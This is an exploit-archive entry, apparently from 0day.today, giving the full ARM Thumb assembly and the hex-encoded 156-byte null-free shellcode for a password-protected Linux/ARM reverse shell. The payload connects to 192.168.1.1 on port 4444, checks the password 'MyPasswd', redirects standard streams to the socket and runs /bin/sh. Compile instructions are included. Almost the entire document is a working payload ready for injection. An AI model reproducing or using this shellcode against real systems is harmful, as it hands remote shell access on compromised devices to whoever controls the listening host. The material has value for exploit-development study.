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Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free She
/* * Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes) * Date: 2018-01-15 * Tested: armv7l (Raspberry Pi v3) * Author: rtmcx - twitter: @rtmcx */ .section .text .global _start _start: /* Enter Thumb mode */ .ARM add r6, pc, #1 bx r6 .THUMB /* Create a new socket*/ /* socket(PF_INET, SOCK_STREAM, 0); r0 = 2, r = 1, r2 = 0 r7 = 281 (SYSCALL for socket) */ mov r0, #2 // PF_INET = 2 mov r1, #1 // SOCK_STREAM = 1 eor r2, r2, r2 // Zero out r2 mov r7, #100 // Put 281 in r7.. add r7, #181 // ..in a 2-step operation svc #1 // syscall returns sockid in r0 mov r4, r0 // Save sockid in r4 /* Connect to client */ /* connect(int sockid, const struct sockaddr *addr, int addrlen); r0 = sockid, r1 = <struct address>, r2 = 16 r7 = 283 (SYSCALL for connect) */ adr r1, struct_addr // Address to struct_addr strb r2, [r1, #1] // Replace AF_INET with NULL mov r2, #16 // Address length add r7, #2 // r7 already contains 281, so add 2 = 283 svc #1 // Client sockid will be returned in r0 /* Send message */ /* send(sockid, message, mess_len, 0); r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0 R7 = 289 (syscall for send) */ mov r0, r4 // Restore sockid to r0 adr r1, prompt // Load address to string "passwd" in r1 mov r2, #8 // 'passwd: ' is 8 bytes eor r3, r3, r3 // Make r3 null add r7, #6 // r7 has 283, add 6 to get 289 svc #1 // Execute syscall /* Get the response (recv) */ /* ssize_t recv(int sockid, void *buf, size_t len, int flags); r0 = sockid, r1 = buffer_space, r2 = length, r3 = null r7 = 291 (recv) */ mov r0, r4 // Restore sockid to r0 adr r1, response // Load the address to store input in into r1 mov r2, #8 // Read 8 characters eor r3, r3 ,r3 // Zero out r3 add r7, #2 // r7 has 289, add 2 to get 291 svc #1 // Execute syscall /* Compare the received answer to the stored password */ adr r5, passwd // Store address to password in r5 mov r6, #9 // Use r6 as counter for number of bytes in password // (9 to 1 to avoid null) cmp_loop: ldrb r2, [r5] // Put one byte from r5 in r2 ldrb r3, [r1] // Put one byte from r1 in r3 cmp r2, r3 // Compare the bytes bne _exit // Not equal, exit add r5, #1 // Next byte in password add r1, #1 // Next byte in input sub r6, #1 // Decrement counter cmp r6, #1 // Are we at 1 yet? bne cmp_loop // No, next byte /* Duplicate STDIN, STDOUT and STERR */ /* dup2(client_sock_fd, STDIN/STDOUT/STDERR); r0 = sockid, r1 = 0/1/2 r7 = 63 (syscall for dup2) */ mov r0, r4 // Saved sockid eor r1, r1, r1 // Zero r1 for STDIN mov r7, #63 // Syscall for dup2 svc #1 // Execute syscall mov r0, r4 // Saved sockid add r1, #1 // STDOUT (1) svc #1 // Execute syscall mov r0, r4 // Saved sockid add r1, #1 // STDERR (2) svc #1 // Execute syscall /* Execute shell */ /* execve('/bin/sh', 0, 0); r0 --> "/bin/sh", r1 = 0, r2 = 0 r7 = 11 (syscall for execve) */ adr r0, shellcode // Address to "/bin/sh" eor r1, r1, r1 // Zero out r1 eor r2, r2, r2 // And r2 strb r2, [r0, #7] // Replace 'X' with NULL mov r7, #11 // Syscall for execve svc #1 // Execute syscall /* Exit (if wrong password was provided) */ _exit: mov r0, #1 // return 1 mov r7, #1 // syscall number for exit svc #1 // execute syscall /* */ struct_addr: .ascii "\x02\xaa" // AF_INET 0xff will be NULLed .ascii "\x11\x5c" // port 4444 .ascii "\xc0\xa8\x01\x01" // IP Address (192.168.1.1) shellcode: .ascii "/bin/shX" prompt: .ascii "passwd:\x20" // prompt for password, with space response: .ascii "xxxxxxxx" // Place to store the response passwd: .ascii "MyPasswd" // The correct password /* Compile and link with: # as -o shellcode.o shellcode.s # ld -N shellcode.o -o shellcode \x01\x60\x8f\xe2\x16\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x17\xa1\x4a\x70 \x10\x22\x02\x37\x01\xdf\x20\x1c\x18\xa1\x08\x22\x5b\x40\x06\x37\x01\xdf\x20\x1c\x17\xa1\x08\x22\x5b\x40 \x02\x37\x01\xdf\x16\xa5\x09\x26\x2a\x78\x0b\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1 \x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x06\xa0\x49\x40\x52\x40 \xc2\x71\x0b\x27\x01\xdf\x01\x20\x01\x27\x01\xdf\x02\xaa\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73 \x68\x58\x70\x61\x73\x73\x77\x64\x3a\x20\x78\x78\x78\x78\x78\x78\x78\x78\x4d\x79\x50\x61\x73\x73\x77\x64 */ # 0day.today [2024-06-27] #